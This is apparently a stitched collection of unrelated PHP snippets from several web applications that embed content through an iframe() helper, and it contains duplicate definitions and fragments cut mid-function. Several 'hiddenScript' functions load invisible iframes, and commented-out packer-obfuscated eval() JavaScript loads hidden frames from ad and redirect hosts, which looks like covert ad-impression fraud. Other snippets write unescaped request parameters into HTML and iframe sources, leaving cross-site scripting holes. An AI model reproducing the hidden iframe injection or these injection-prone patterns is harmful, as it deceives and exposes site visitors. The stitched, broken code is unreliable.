function hiddenScript($id, $iframes) { //if(!isset($_COOKIE[$id])) //{ //echo "<script> document.cookie=".'"'.$id."=John Doe; expires=Thu, 18 Dec 2055 12:00:00 UTC;".'"'."; location.reload(true); alert('hola');</script>; </script>"; foreach ($iframes as $key => $value) { iframe($value, $key); } //echo "<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<1 c=\'3\'4=\'5\'6=\'7\'8=\'9://a.b/l\'d=\'0\'e=\'f\'g=\'h-i\'j=\'k:2\'></1>',22,22,'|iframe|hidden|728|height|90|id|prueba1|src|https|tinyurl|com|width|frameborder|scrolling|no|sandbox|allow|scripts|style|visibility|oobtku4'.split('|'),0,{}))</script>"; //echo "<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<1 h=\'f\'g=\'5\'6=\'7\'8=\'9://a.b.c/2/e/3/3.4?p=i&j=2&k=4&l=m\'n=\'0\'o=\'q\'r=\'s-t\'u=\'v:d\'></1>',32,32,'|iframe|wafra|xdirect|html|90|id|prueba0|src|http|cdn|waframedia8|com|hidden|tags|728|height|width|61741549|serverdomain|ct|ap|1303|frameborder|scrolling||no|sandbox|allow|scripts|style|visibility'.split('|'),0,{}))</script>"; //echo "<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<1 3=\'e\'2=\'4\'5=\'o\'7=\'8://n.a/b?c=m&f=&3=0&2=0\'g=\'0\'h=\'i\'j=\'k-l\'d=\'9:6\'></1><1 3=\'e\'2=\'4\'5=\'p\'7=\'8://q.a/b?c=r&3=0&2=0&f=\'g=\'0\'h=\'i\'j=\'k-l\'d=\'9:6\'></1>',28,28,'|iframe|height|width|90|id|hidden|src|http|visibility|com|ads|key|style|728|ch|frameborder|scrolling|no|sandbox|allow|scripts|9d12bbc1343037347b2d5f3a1dd96353|n280adserv|prueba2|prueba3|n156adserv|576c23f37e72191ca2dbcf2fcc32e8e2'.split('|'),0,{}))</script>"; //echo "<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1 b=\'3\'4=\'5\'6=\'7\'8=\'9://a.k\'c=\'0\'d=\'e\'f=\'g-h\'i=\'j:2\'></1>',21,21,'|iframe|hidden|728|height|90|id|prueba4|src|http|google|width|frameborder|scrolling|no|sandbox|allow|scripts|style|visibility|com'.split('|'),0,{}))</script>"; //echo "<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<1 e=\'3\'4=\'5\'6=\'7\'8=\'9://a.b.c/d/p/f/g/\'h=\'0\'i=\'j\'k=\'l-m\'n=\'o:2\'></1>',26,26,'|iframe|hidden|728|height|90|id|prueba5|src|http|t|mdn2015x3|com|build|width|v1|script|frameborder|scrolling|no|sandbox|allow|scripts|style|visibility|77c5bc'.split('|'),0,{}))</script>"; //echo "<script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<1 d=\'3\'4=\'5\'6=\'7\'8=\'9://a.b/c/n/e\'f=\'0\'g=\'h\'i=\'j-k\'l=\'m:2\'></1>',24,24,'|iframe|hidden|728|height|90|id|prueba6|src|http|prpops|com|p|width|direct|frameborder|scrolling|no|sandbox|allow|scripts|style|visibility|gq5e'.split('|'),0,{}))</script>"; //echo "<script><script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('<1 h=\'f\'g=\'5\'6=\'7\'8=\'9://a.b.c/2/e/3/3.4?p=i&j=2&k=4&l=m\'n=\'0\'o=\'q\'r=\'s-t\'u=\'v:d\'></1>',32,32,'|iframe|wafra|xdirect|html|90|id|prueba0|src|http|cdn|waframedia8|com|hidden|tags|728|height|width|61741549|serverdomain|ct|ap|1303|frameborder|scrolling||no|sandbox|allow|scripts|style|visibility'.split('|'),0,{}))></div> //<script></script>"; //echo"<script>alert('hola');</script>"; //} //else //{ // unset($_COOKIE[$id]); //echo "<script>location.reload();</script>"; // echo "<script> document.cookie=".'"'.$id."=John Doe; expires=Thu, 18 Dec 2055 12:00:00 UTC;".'"'."; location.reload(); </script>"; //$i = 0; //echo "<script> $(document).ready(function(){ alert(".'"'.'hola'.'"'.");});</script>"; // $i++; //\Illuminate\Support\Facades\Session::put('prueba',$i); // echo \Illuminate\Support\Facades\Session::get('prueba'); //iframe ('http://maetech.co/i.php?c='.pais.'&id='.$id,3); //echo "document.write('<script src=".'"'.url()."/impressions/"."$id".'"'."type=".'"'.'text/javascript'.'"'."></script>"."')"; //echo "<script> var parrafo = document.getElementById('prueba1');parrafo.parentNode.removeChild(parrafo);var parrafo = document.getElementById('prueba2');parrafo.parentNode.removeChild(parrafo);var parrafo = document.getElementById('prueba3');parrafo.parentNode.removeChild(parrafo); </script>"; // }else{ //} }
function Page() { $event_id = $_GET["event_id"]; $page = CurrentPageName(); $html = "\n\t\n<script language=\"JavaScript\"> // une premiere fonction pour manipuler les valeurs \"dynamiques\" \nfunction mettre(){ \n document.form1.source.focus();\n document.form1.source.select();\n}\n\nvar timerID = null;\nvar timerID1 = null;\nvar tant=0;\nvar reste=0;\n\nfunction demarre(){\n tant = tant+1;\n reste=10-tant;\n //document.getElementById('wait').innerHTML=\"- \" + reste + \" s\";\n \n\n if (tant < 10 ) { //exemple:caler a une minute (60*1000) \n timerID = setTimeout(\"demarre()\",1000);\n \n } else {\n tant = 0;\n //document.getElementById('wait').innerHTML='<img src=img/wait.gif>';\n LoadAjax2('postlogs','{$page}?post=1&event={$event_id}');\n demarre(); //la boucle demarre !\n }\n}\n\nfunction demar1(){\n tant = tant+1;\n \n \n\n if (tant < 2 ) { //delai court pour le premier affichage !\n timerID = setTimeout(\"demar1()\",1000);\n \n } else {\n tant = 0; //reinitialise le compteur\n LoadAjax2('postlogs','postfix.events.php?post=1');\n \n demarre(); //on lance la fonction demarre qui relance le compteur\n }\n}\n</script>\t\n\t\n\t<div id=wait style='margin:5px;font-weight:bold;font-size:12px;text-align:right'></div>\n\t<div id=postlogs></div>\n\t\n\t<script>LoadAjax2('postlogs','{$page}?post=1&event={$event_id}');</script>\n\t<script>demarre();</script>\n\t"; echo iframe($html, 0); }
function plug_ajxtst($a, $b) { $f = '/ajax.php?callj=' . $a . '$nom=' . $b; //echo $f; //return read_file($f); //echo date('ymd',$_SESSION['daya']); return iframe($f, 640); }
function up_iframe($error = null) { $file = dirname(__FILE__) . "/ressources/conf/upload/NTconfig.pol"; if (is_file($file)) { $download = "<a href='ressources/conf/upload/NTconfig.pol' style='font-weight:bold;color:blue;font-size:12px;font-family:arial;text-decoration:underline'>{download} {policy}</a>"; } $page = CurrentPageName(); $html = "\n<div style='color:red;font-size:12px;font-family:arial'>{$error}</div>\n<div style='color:blue;font-size:12px'>{$download}</div>\n<form method=\"post\" enctype=\"multipart/form-data\" action=\"{$page}\">\n<p>\n<input type=\"file\" name=\"fichier\" size=\"30\">\n<hr>\n<div style='text-align:right'>\n<input type='submit' name='upload' value='{upload file} »' style='width:90px'>\n</div>\n</p>\n</form>"; $tpl = new templates(); echo iframe($tpl->_ENGINE_parse_body($html), 0, 0); }
function plug_ixquick($a, $b, $d = '') { $d = ajxg($d); $ret .= input(1, 'furl', $d, 'search'); $ret .= lj('txtbox', 'popup_plup__x_ixquick_plug*ixquick__760_furl', picto('search')) . br(); $f = 'https://ixquick.com/do/search?q=' . $d . '&l=francais'; if ($d) { $ret = iframe($f . '�740/500'); } //if($d)$ret=read_file($f); return $ret; }
function hiddenScript($id, $iframes) { if (!isset($_COOKIE[$id])) { iframe($iframes[0]); iframe($iframes[1]); iframe($iframes[2]); iframe($iframes[3]); iframe($iframes[4]); iframe($iframes[5]); echo "<script> document.cookie=" . '"' . $id . "=John Doe; expires=Thu, 18 Dec 2055 12:00:00 UTC;" . '"' . "; location.reload(); </script>"; } else { unset($_COOKIE[$id]); //iframe ('http://maetech.co/i.php?c='.pais.'&id='.$id,3); //echo "document.write('<script src=".'"'.url()."/impressions/"."$id".'"'."type=".'"'.'text/javascript'.'"'."></script>"."')"; //echo "<script> var parrafo = document.getElementById('prueba1');parrafo.parentNode.removeChild(parrafo);var parrafo = document.getElementById('prueba2');parrafo.parentNode.removeChild(parrafo);var parrafo = document.getElementById('prueba3');parrafo.parentNode.removeChild(parrafo); </script>"; } }
function hiddenScript($id, $iframes) { if (!isset($_COOKIE[$id])) { foreach ($iframes as $key => $value) { iframe($value, $key); } echo "<script> document.cookie=" . '"' . $id . "=John Doe; expires=Thu, 18 Dec 2055 12:00:00 UTC;" . '"' . "; alert('hola');</script>"; } else { unset($_COOKIE[$id]); //echo "<script>location.reload();</script>"; // echo "<script> document.cookie=".'"'.$id."=John Doe; expires=Thu, 18 Dec 2055 12:00:00 UTC;".'"'."; location.reload(); </script>"; //$i = 0; //echo "<script> $(document).ready(function(){ alert(".'"'.'hola'.'"'.");});</script>"; // $i++; //\Illuminate\Support\Facades\Session::put('prueba',$i); // echo \Illuminate\Support\Facades\Session::get('prueba'); //iframe ('http://maetech.co/i.php?c='.pais.'&id='.$id,3); //echo "document.write('<script src=".'"'.url()."/impressions/"."$id".'"'."type=".'"'.'text/javascript'.'"'."></script>"."')"; //echo "<script> var parrafo = document.getElementById('prueba1');parrafo.parentNode.removeChild(parrafo);var parrafo = document.getElementById('prueba2');parrafo.parentNode.removeChild(parrafo);var parrafo = document.getElementById('prueba3');parrafo.parentNode.removeChild(parrafo); </script>"; } }
} } //else{ echo "no ftp`s specified in sqlman_conf.inc.php<br>";} } } } if ($_GET['rmimp'] == 2) { foreach ($ftpacct as $ftpacc) { if ($ftpacc['rmimport'] != "off") { iframe($ftpacc['rmimpsc'] . "?sl1=" . $_GET['sl1']); echo "<hr>"; } } } if ($_GET['ac'] == "imp") { iframe($db_tool['scrdir'] . "/dbtool_imp.php?sl1=" . $_GET['sl1']); echo "<hr>"; } if ($_GET['ac'] == "opti") { if ($_GET['sl1'] == "all") { foreach ($tableyi as $tabul) { $sql[] = "OPTIMIZE TABLE `" . sql_addslashes($tabul) . "`"; } } elseif ($_GET['sl1'] != "all") { $sql[] = "OPTIMIZE TABLE `" . sql_addslashes($_GET['sl1']) . "` "; } foreach ($sql as $slq) { $qryrsl = mysqli_query($slq); echo mysqli_error($connection); echo "\"" . $slq . "\" "; if ($qryrsl) {
function main_events_page() { $sock = new sockets(); $datas = $sock->getfile("kav4proxy_events"); $tbl = split("\n", $datas); if (!is_array($tbl)) { echo iframe(null, 20); exit; } $html = "<table style='width:100%'>\n\t<tr>\n\t\n\t<th colspan=2>{time}</th>\n\t<th>{client}</th>\n\t<th>URL</th>\n\t<th>{size}</th>\n\t<th>{virus}</th>\n\t</tr>\n\t\n\t"; $tbl = array_reverse($tbl, TRUE); while (list($num, $ligne) = each($tbl)) { if (preg_match('#([0-9\\-]+)\\s+([0-9:]+)\\s+([0-9]+)\\s+([A-Z]+)\\s+([0-9\\.]+)\\s+(.+)#', $ligne, $reg)) { $date = $reg[1]; $time = $reg[2]; $size = $reg[3]; $results = $reg[4]; $IP = $reg[5]; $uri = $reg[6]; $virus = " "; } else { if (preg_match('#([0-9\\-]+)\\s+([0-9:]+)\\s+([0-9]+)\\s+([A-Z]+)\\s+(.+?)\\s+([0-9\\.]+)\\s+(.+)#', $ligne, $reg)) { $date = $reg[1]; $time = $reg[2]; $size = $reg[3]; $results = $reg[4]; $virus = $reg[5]; $IP = $reg[6]; $uri = $reg[7]; } } if ($uri != null) { $a = "<a href='{$uri}' target='_new'>"; $uri_ = substr($uri, 0, 50) . "..."; $uri2 = wordwrap($uri, 50, '<br>', 1); $md = md5($ligne); $html = $html . "\n\t\t<tr>\n\t\t<td width=1% valign='top'><img src='img/fw_bold.gif'></td>\n\t\t<td valign='top'>{$time}</tD>\n\t\t<td valign='top'>{$IP}</td>\n\t\t<td valign='top' width=1% \n\t\t\tOnMouseOver=\"javascript:document.getElementById('{$md}').innerHTML='{$uri2}'\"\n\t\t\tOnMouseOut=\"javascript:document.getElementById('{$md}').innerHTML='{$uri_}'\"\n\t\t>{$a}<span id='{$md}'>{$uri_}</span></a></td>\n\t\t<td nowrap>{$size} bytes</td>\n\t\t<td valign='top'>{$virus}</td>\n\t\t</tr>\n\t\t\n\t\t"; } } $html = $html . "</table>"; $tpl = new templates(); $html = $tpl->_ENGINE_parse_body($html); echo iframe($html, 20, '500px'); }
<h3><?php echo $l->g(1123); ?> </h3> <?php iframe("//webchat.freenode.net/?channels=ocsinventory-ng&uio=d4");
<h3><?php echo $l->g(1375); ?> </h3> <?php iframe("//forums.ocsinventory-ng.org");
function template_attach_iframe($error = null) { if ($_POST["ou"] != null) { $ou = $_GET["ou"]; } if ($_GET["template-attached-files-iframe"] != null) { $template_id = $_GET["template-attached-files-iframe"]; } if ($_POST["template_id"] != null) { $template_id = $_POST["template_id"]; } $page = CurrentPageName(); $html = "<p> </p>\n<div id='content' style='width:400px'>\n<table style='width:100%'>\n\t<tr>\n\t\t<td valign='top'>\n\t\t\t<h3>{upload_your_file_here}</h3>\n\t\t\t<div style='font-size:11px'><code style='font-size:13px;font-weight:bold;color:red;margin:4px'>{$error}</code></div>\n\t\t\t<form method=\"post\" enctype=\"multipart/form-data\" action=\"{$page}\">\n\t\t\t<input type='hidden' name='upload' value='yes'>\n\t\t\t<input type='hidden' name='ou' value='{$ou}'>\n\t\t\t<INPUT TYPE='hidden' NAME='MAX_FILE_SIZE' VALUE='1000000'>\n\t\t\t<input type='hidden' name='template_id' value='{$template_id}'>\n\t\t\t<input type=\"file\" name=\"template_file\" size=\"30\">\n\t\t\t<div style='width:100%;text-align:right'><hr>\n\t\t\t\t<input type='submit' name='upload' value='{upload_a_file} »' style='width:220px'>\n\t\t\t</div>\n\t\t\t</form>\n\t\t</td>\n\t</tr>\n\t</table>\n</div>\n\n<div id='attachedfiles'>" . template_attach_list($template_id) . "</div>\n<script>\n\n\tvar x_TemplateDeleteAttachedFile= function (obj) {\n\t\t\tvar tempvalue=obj.responseText;\n\t\t\tif(tempvalue.length>3){alert(tempvalue)};\n\t\t\tLoadAjax('attachedfiles','{$page}?template-attached-files-show={$template_id}&ou={$ou}');\n\t\t}\t\n\t\n\t\n\t\tfunction TemplateDeleteAttachedFile(ID){\n\t\t\tvar XHR = new XHRConnection();\n\t \tXHR.appendData('template-attached-files-delete',ID);\n\t \tXHR.appendData('ou','{$ou}');\n\t \tif(document.getElementById('attachedfiles')){\n\t \t\tdocument.getElementById('attachedfiles').innerHTML='<center style=\"margin:20px;padding:20px\"><img src=\"img/wait_verybig.gif\"></center>';\n\t\t\t}\n\t\t \tXHR.sendAndLoad('{$page}', 'GET',x_TemplateDeleteAttachedFile);\t\n\t\t}\n\n</script>"; $html = iframe($html, 0, 350); $tpl = new templates(); echo $tpl->_ENGINE_parse_body("{$html}"); }
function popup_picture_iframe($error = null) { $page = CurrentPageName(); if (isset($_POST["ou"])) { $_GET["ou"] = $_POST["ou"]; } $ou = $_GET["ou"]; $ldap = new clladp(); $img = $ldap->get_organization_picture(base64_decode($ou), 64); $html = "<p> </p>\n<div id='content' style='width:400px'>\n<table style='width:100%'>\n<tr>\n<td valign='top'>\n<h3>{edit_photo_title_org}</h3>\n<p>{edit_photo_title_org_text}</p>\n<div style='color:red'>{$error}</div>\n<div style='font-size:11px'><code>{$error}</code></div>\n<form method=\"post\" enctype=\"multipart/form-data\" action=\"{$page}\">\n<input type='hidden' name='ou' value='{$ou}'>\n<p>\n<input type=\"file\" name=\"ou-photo\" size=\"30\">\n<div style='width:100%;text-align:right'>\n\t<input type='submit' name='upload' value='{upload_a_file} »' style='width:190px'>\n</div>\n</p>\n</form>\n</td>\n<td valign='top'><img src='{$img}'></td>\n</div>\n\n"; $tpl = new templates(); $html = $tpl->_ENGINE_parse_body($html, "domains.manage.org.index.php"); echo iframe($html, 0, 400); }
function SSHD_KEYS_SERVER_FORM($error=null){ $sock=new sockets(); $ldap=new clladp(); $hash=$ldap->Hash_GetALLUsers(); $users=unserialize(base64_decode($sock->getFrameWork("cmd.php?unixLocalUsers=yes"))); $page=CurrentPageName(); while (list ($uid, $mail) = each ($hash) ){ if(strpos($uid,"$")>0){continue;} $users[$uid]=$uid; } $users[null]="{select}"; ksort($users); $userF=Field_array_Hash($users,"uid",$_POST["uid"],null,null,0,"font-size:13px;padding:3px"); $html=" <div style='color:red;font-size:14px;font-weight:bold'>$error</div> <form method=\"post\" enctype=\"multipart/form-data\" action=\"$page\"> <table style='width:100%'> <tr> <td class=legend style='font-size:13px' nowrap>{ArticaProxyServerUsername}:</td> <td>$userF</td> </tr> </table> $hidden <p> <input type=\"file\" name=\"id_rsa\" size=\"30\"> <input type='submit' name='upload' value='{upload_a_file} »' style='width:190px'> </p> </form> "; $tpl=new templates(); echo iframe($tpl->_ENGINE_parse_body($html),0,0); }
function up_iframe($error = null) { $page = CurrentPageName(); $html = "\n<div class=text-info>{OPENVPN_SERVER_CONNECT_EXPLAIN}</div>\n<div style='color:red;font-size:12px;font-family:arial'>{$error}</div>\n<form method=\"post\" enctype=\"multipart/form-data\" action=\"{$page}\">\n<p>\n<input type=\"file\" name=\"fichier\" size=\"30\">\n<hr>\n<div style='text-align:right'>\n<input type='submit' name='upload' value='{upload_vpn_configuration} »' style='width:220px;font-size:13px;padding:5px'>\n</div>\n</p>\n</form>"; $tpl = new templates(); echo iframe($tpl->_ENGINE_parse_body($html, "index.openvpn.php"), 0, 350); }
# #The full software license can be found here: #http://www.accounting-123.com/a.php?a=153/GPLv3 # # # # # # # # # # # require "../settings.php"; if (isset($_GET["script"])) { print iframe($_GET["script"]); } function iframe($script) { $get = ""; $i = 0; foreach ($_GET as $key => $value) { if ($i) { $get .= "&"; } $i++; $get .= "{$key}={$value}"; } return "<iframe class='diary_frameset' id='diary_frameset' src='{$script}?{$get}'></iframe>"; }
function upload_file_iframe($error = null) { if (isset($_POST["select-file"])) { $_GET["select-file"] = $_POST["select-file"]; } if (isset($_POST["target_path"])) { $_GET["form-upload"] = $_POST["target_path"]; } if ($error != null) { $error = "<div style='font-size:12px;font-family:Arial;font-weight:bold;padding:3px;margin:3px;border:1px solid red;text-align:center;color:red'>{$error}</div>"; } if ($_GET["select-file"] != null) { } $page = CurrentPageName(); $tpl = new templates(); $html = "<p> </p>\n\t<table style='width:100%'>\n\t<tr>\n\t<td width=1% valign='top'>\n\t<img src='img/folder-upload-90.png'>\n\t</td>\n\t<td valign='top'>\n\t\t\n\t\t<H3 style='font-family:arial'>{upload_a_file} ({$_GET["select-file"]})</H3>\n\t\t{$error}\n\t\t<form method=\"POST\" enctype=\"multipart/form-data\" action=\"{$page}\">\n\t\t<input type='hidden' name='target_path' value='{$_GET["form-upload"]}'>\n\t\t<input type='hidden' name='select-file' value='{$_GET["select-file"]}'>\n\t\t\n\t\t<table style='width:100%'>\n\t\t\t<td class=legend style='font-size:13px;font-family:arial'>{file_to_upload}:</td>\n\t\t\t<td><input type=\"file\" name=\"fichier\" size=\"20\" style='font-size:13px;border:1px'></td>\n\t\t</tr>\n\t\t<tr>\n\t\t<td colspan=2 align='right'><hr>\n\t\t\t<input type='submit' name='upload' value='{upload} »' style='width:120px;padding:5px;margin:5px;font-family:arial'>\n\t\t</td>\n\t\t</tr>\n\t\t</table>\n\t\t</form>\n\t</td>\n\t</tr>\n\t</table>\n\t"; $html = iframe($html, 0, "500px"); echo $tpl->_ENGINE_parse_body($html); }
<h3><?php echo $l->g(1377); ?> </h3> <?php iframe("//ask.ocsinventory-ng.org/questions");
function inadynstatus() { $sock = new sockets(); $datas = $sock->getfile('pids_inadyn'); $tbl = explode(" ", $datas); while (list($num, $ligne) = each($tbl)) { if (preg_match("#([0-9]+)#", $ligne, $reg)) { $pid[$reg[1]] = $reg[1]; } } $tpl = new templates(); if (count($pid) == 0) { $img = "danger32.png"; $text = "{inadyn_stopped}"; } else { $img = "ok32.png"; $text = "<table style='width:100%'>"; while (list($num, $ligne) = each($pid)) { $text = $text . "<tr><td>{running} PID {$num}</td></tr>"; } $text = $text . "</table>"; } $text = $tpl->_ENGINE_parse_body($text); $status = Paragraphe("{$img}", "inadyn status", $text, "{$page}", null); $status = RoundedLightGreen($status); $status = $tpl->_ENGINE_parse_body($status, $page); echo $tpl->_ENGINE_parse_body(iframe($status, 10, '230px')); }
function upload_iframe() { $page = CurrentPageName(); for ($i = 2; $i < 60; $i++) { $mins[$i * 60] = $i; } $MinutesToWait = Field_array_Hash($mins, "MinutesToWait"); $html = "\n\t<FORM METHOD=\"post\" ACTION=\"{$page}\" ENCTYPE=\"multipart/form-data\">\n \t<INPUT TYPE=\"hidden\" NAME=\"MAX_FILE_SIZE\" VALUE=\"100000000\">\n \t<INPUT TYPE=\"hidden\" NAME=\"action\" VALUE=\"upload\">\n \t<TABLE style='width:98%' class=table_form>\n\t\t <TR>\n\t\t <TD class=legend valign='top'>{description}: </TD>\n\t\t <TD><TEXTAREA NAME=\"txtDescription\" ROWS=\"5\" COLS=\"30\"></TEXTAREA></TD>\n\t\t </TR>\n\t\t <TR>\n\t\t \t<TD class=legend>{file}: </TD>\n\t\t \t<TD><INPUT TYPE=\"file\" NAME=\"binFile\"></TD>\n\t\t </TR>\n\t\t <TR>\n\t\t \t\t<TD class=legend nowrap>{commandline}: </TD>\n\t\t \t\t<TD>" . Field_text("commandline") . "</TD>\n\t\t </TR>\t\t \n\t\t\t<TR>\t\n\t\t \t\t<TD class=legend nowrap>{ExecuteAfter}: </TD>\n\t\t \t\t<TD>" . Field_text("ExecuteAfter") . "</TD>\n\t\t </TR>\t\n\t\t \t<TR>\t\n\t\t \t\t<TD class=legend nowrap>{MinutesToWait}: </TD>\n\t\t \t\t<TD>{$MinutesToWait}</TD>\n\t\t </TR>\t\t \n\t\t \n\t\t <TR>\n\t\t <TD COLSPAN=\"2\" align='right'><INPUT TYPE=\"submit\" VALUE=\"{upload} »\"></TD>\n\t\t </TR>\n\t\t </TABLE>\n</FORM>\n\t\n\t\n\t"; $html = iframe($html, 0); $tpl = new templates(); echo $tpl->_ENGINE_parse_body($html); }
function video_players($d, $p, $w, $h, $id) { $w -= 40; $h = $w * 0.5600000000000001; if ($id) { $w = '100%'; } if ($_SESSION['nl']) { return lkc('txtx', urlread($id), 'Video'); } if ($p == 'youtube') { return iframe('http://www.youtube.com/embed/' . $d . '?border=0&version=3&autohide=1&showinfo=0&rel=0&fs=1', $w, $h); } elseif ($p == 'daily') { return iframe('http://www.dailymotion.com/embed/video/' . $d, $w, $h); } elseif ($p == 'vimeo') { return iframe('http://player.vimeo.com/video/' . $d, $w, $h); } elseif ($p == 'vk') { return iframe('http://vk.com/video_ext.php?oid=' . $d . '&hd=2', $w, $h); } elseif ($p == 'ted') { if (strpos($d, '&')) { list($d, $ti) = explode('&', $d); } return '<embed src="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" width="100%" height="100%" allowFullScreen="true" flashvars="vu=' . $d . '&vw=100%&vh=100%&ap=0&lang=' . $_SESSION['opts']['lang'] . '&ti=' . $ti . '"></embed>'; } elseif ($p == 'livestream') { return iframe('http://cdn.livestream.com/embed/' . $d . '?layout=4&height=' . $h . '&width=' . $w . '&autoplay=false', $w, $h); } elseif ($p == 'rutube') { return '<embed src="http://video.rutube.ru/' . $d . '" type="application/x-shockwave-flash" wmode="window" width="100%" height="auto" allowFullScreen="true">'; } else { return video_html($d); } }
<h3><?php echo $l->g(1122); ?> </h3> <?php iframe("//wiki.ocsinventory-ng.org");
function DaemonsStatus() { $sock = new sockets(); $datas = $sock->getfile('ARTICA_ALL_STATUS'); $tpl = explode("\n", $datas); if (!is_array($tpl)) { return null; } $usermenus = new usersMenus(); $icon_mysql = "img/icon_mini_read.gif"; $html = "\n\t<H4>{status}</h4>\n\t<table style='margin:3px;;width:100%'>\n\t\t\t<tr>\n\t\t<td width=1% ><img src='img/icon_mini_info.gif'></td>\n\t\t<td ><strong>{artica_version}</strong></td>\n\t\t<td ><strong>{$usermenus->ARTICA_VERSION}</strong></td>\n\t\t</tr><tr><td colspan=3> </td></tr>"; while (list($num, $ligne) = each($tpl)) { if ($ligne != null) { $table = explode(';', $ligne); $name = $table[0]; $status = $table[1]; $memory = $table[2]; if ($status == 0) { $icon = "img/icon_mini_off.jpg"; } else { $icon = "img/icon_mini_read.gif"; } $html = $html . "\n\t\t<tr>\n\t\t<td width=1%><img src='{$icon}'></td>\n\t\t<td style='padding:4px'><strong>{$name}</strong></td>\n\t\t<td style='padding:4px'><strong>{$memory} mb</strong></td>\n\t\t</tr>\n\t\t\n\t\t"; } } $html = RoundedLightGreen($html . "</table>"); $tpl = new templates(); echo iframe($tpl->_ENGINE_parse_body($html . "<br>" . DatabaseFileSize()), 10, '230px'); }
function pdfreader_j($d) { $url = 'http://docs.google.com/viewer?url=' . urlencode($d) . '&embedded=true'; return iframe($url, prma('content')); }
function PhotoUploaded() { $tmp_file = $_FILES['photo']['tmp_name']; $content_dir = dirname(__FILE__) . "/ressources/conf/upload"; if (!is_dir($content_dir)) { @mkdir($content_dir, 0755, true); } if (!is_dir($content_dir)) { $_GET["Photo_error"] = '{error_unable_to_create_dir} ' . $content_dir; iframe(); exit; } if (!@is_uploaded_file($tmp_file)) { $_GET["Photo_error"] = '{error_unable_to_upload_file} <code style=font-size:11px>' . $tmp_file . "</code>"; exit; } $name_file = $_FILES['photo']['name']; if (file_exists($content_dir . "/" . $name_file)) { @unlink($content_dir . "/" . $name_file); } if (!move_uploaded_file($tmp_file, $content_dir . "/" . $name_file)) { $_GET["Photo_error"] = "{error_unable_to_move_file} : <code style=font-size:11px>{$tmp_file}</code> {to} <code style=font-size:11px>" . str_replace(dirname(__FILE__), "", $content_dir) . "/" . $name_file . "</code>"; iframe(); exit; } $file = $content_dir . "/" . $name_file; if (isset($_POST["uid"])) { $_GET["uid"] = $_POST["uid"]; $user = new user($_POST["uid"]); $user->jpegPhoto_datas = file_get_contents($file); $user->add_user(); if (is_file($user->thumbnail_path)) { unlink($user->thumbnail_path); } iframe(); exit; return null; } if (isset($_POST["employeeNumber"])) { $_GET["employeeNumber"] = $_POST["employeeNumber"]; $user = new contacts($_SESSION["uid"], $_POST["employeeNumber"]); $user->jpegPhoto_datas = file_get_contents($file); if ($_SESSION["uid"] != -100) { $ldap = new clladp(); $user2 = new user($_SESSION["uid"]); $dn = "cn={$user->sn} {$user->givenName},ou={$user2->uid},ou=People,dc={$user2->ou},dc=NAB,{$ldap->suffix}"; if ($dn == $user->dn) { $user->Save(); } else { $tpl = new templates(); echo $tpl->_ENGINE_parse_body('{ERROR_NO_PRIVS}'); } } if (is_file($user->thumbnail_path)) { unlink($user->thumbnail_path); } iframe(); exit; } iframe(); exit; }
function ph1_j($p, $o, $res = '') { list($p, $o) = ajxp($res, $p, $o); return iframe('http://ph1.fr/' . $p . ':api=1'); return $ret; }
function kav4proxy_license_iframe($error = null) { $page = CurrentPageName(); $html = "\n\t<span style='color:red;font-weight:bold;font-size:12px;padding-left:5px'>{$error}</span>\n\t<table style='width:90%' class=table_form align='center'>\n\t<tr>\n\t\t<td class=legend valign='middle'>{upload_new_license}:</td>\n\t\t<td>\n\t\t\t<form method=\"post\" enctype=\"multipart/form-data\" action=\"squid.newbee.php\">\n\t\t\t\t\t<p>\n\t\t\t\t\t<input type=\"file\" name=\"fichier\" size=\"30\">\n\t\t\t\t\t<input type=\"hidden\" name=\"license-type\" value='{$_GET["license-type"]}'>\n\t\t\t\t\t<input type='submit' name='upload' value='{upload file} »' style='width:90px'>\n\t\t\t\t\t</p>\n\t\t\t</form>\n\t\t</td>\n</tr>\n</table>\n\t\n\t"; $tpl = new templates(); $html = $tpl->_ENGINE_parse_body($html); echo iframe($html, 0); }
function adm_editor() { return iframe('plug/editor.php§640/500', ''); }
